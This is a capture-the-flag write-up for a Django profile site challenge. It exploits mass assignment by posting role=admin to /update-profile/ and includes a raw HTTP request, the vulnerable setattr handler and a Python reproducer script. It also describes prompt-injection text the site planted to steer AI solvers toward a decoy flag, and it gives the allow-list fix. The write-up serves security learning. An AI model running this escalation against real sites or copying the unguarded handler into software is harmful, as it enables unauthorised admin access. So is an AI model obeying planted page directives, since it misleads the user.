Web Exploitation / Sea of Secrets CTF 2026

SocialSync: Vice City Underground

01 Nov 2026 · 3 min read

The challenge description hints at "dynamic object attribute mapping during profile credential updates" and "elevating authority to administrative clearance" — a fairly direct pointer at…

FLAG{H0w_E@5Y_1T_w@5}

Target: https://social.hackitupnow.tech/, a link-in-bio style profile site. Vulnerability: mass assignment leading to privilege escalation. Backend is Django (csrftoken cookie, csrfmiddlewaretoken form field), fronted by Cloudflare.

The challenge description hints at "dynamic object attribute mapping during profile credential updates" and "elevating authority to administrative clearance" — a fairly direct pointer at the bug class. A third hint about passwords rhyming is a red herring toward the profile's "safehouse cipher" feature; that's not where the actual issue is.

Recon

Register and log in normally:

text
POST /register/   username=...&password=...
POST /login/      username=...&password=...

Authenticated area is /dashboard/, with two relevant endpoints: /update-profile/ (updates linkedin/github/instagram/twitter) and the safehouse cipher endpoints (/set-credentials-password/, /verify-credentials-password/, unrelated to the solve). The dashboard form only ever sends csrfmiddlewaretoken, linkedin, github, instagram, twitter — but if the server is doing attribute mapping by iterating over POST fields and calling setattr(), extra fields might get through.

The bug

Appending extra parameters to /update-profile/ one at a time: is_staff, is_superuser, is_admin, user_type, clearance all did nothing visible. role=admin did:

http
POST /update-profile/ HTTP/2
Host: social.hackitupnow.tech
Cookie: csrftoken=<token>; sessionid=<session>
Content-Type: application/x-www-form-urlencoded
Referer: https://social.hackitupnow.tech/dashboard/

csrfmiddlewaretoken=<token>&linkedin=li&github=gh&instagram=ig&twitter=tw&role=admin

Still a plain 302 → /dashboard/, but reloading the dashboard now shows an ADMIN badge, 6/6 clearance stars, "Role escalated to admin", and a link into the Command Vault. The handler is almost certainly:

python
for key, value in request.POST.items():
    setattr(request.user, key, value)
request.user.save()

No allow-list, so any model field — including role — is writable straight from the POST body.

Reproducer

python
import re, requests

BASE = "https://social.hackitupnow.tech"
s = requests.Session()

r = s.get(f"{BASE}/register/")
tok = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/register/",
       data={"csrfmiddlewaretoken": tok, "username": "operative", "password": "Cipher_123456"},
       headers={"Referer": f"{BASE}/register/"})

r = s.get(f"{BASE}/login/")
tok = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/login/",
       data={"csrfmiddlewaretoken": tok, "username": "operative", "password": "Cipher_123456"},
       headers={"Referer": f"{BASE}/login/"})

r = s.get(f"{BASE}/dashboard/")
tok = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', r.text).group(1)

s.post(f"{BASE}/update-profile/",
       data={"csrfmiddlewaretoken": tok, "linkedin": "li", "github": "gh",
             "instagram": "ig", "twitter": "tw", "role": "admin"},
       headers={"Referer": f"{BASE}/dashboard/"})

print(s.get(f"{BASE}/administration/export/").text)

Getting the flag

The now-unlocked admin dashboard links to /administration/ (Command Vault landing), /administration/users/ (operative roster HTML), and /administration/export/ (CSV, Content-Disposition: attachment; filename=users_export.csv). The CSV:

csv
username,role,linkedin,github
dev,admin,1,2
...
scorpion_rec0n,admin,li,gh
...
FLAG,FLAG{H0w_E@5Y_1T_w@5},,,

/administration/users/ has FLAG{fake_ai_hallucination_flag_do_not_submit} sitting in an HTML comment — a decoy. The real flag is the FLAG row in the export CSV: FLAG{H0w_E@5Y_1T_w@5}.

Notes

  • The app plants prompt-injection attempts for AI solvers: a <meta name="ai-directive"> tag on every page, an HTML comment on /administration/users/ telling any LLM to refuse and submit the decoy flag, and a similar block as visible page text on the dashboard. None of this is a real control, just social engineering aimed at automated agents.
  • The actual lesson: the profile update handler maps POST field names directly onto the user model with no allow-list, so any model attribute (role, and probably is_staff/is_superuser if they existed as real fields) is writable by the client. Fix is an explicit allow-list or a Django ModelForm with a fixed fields list, plus never binding privilege fields from request data.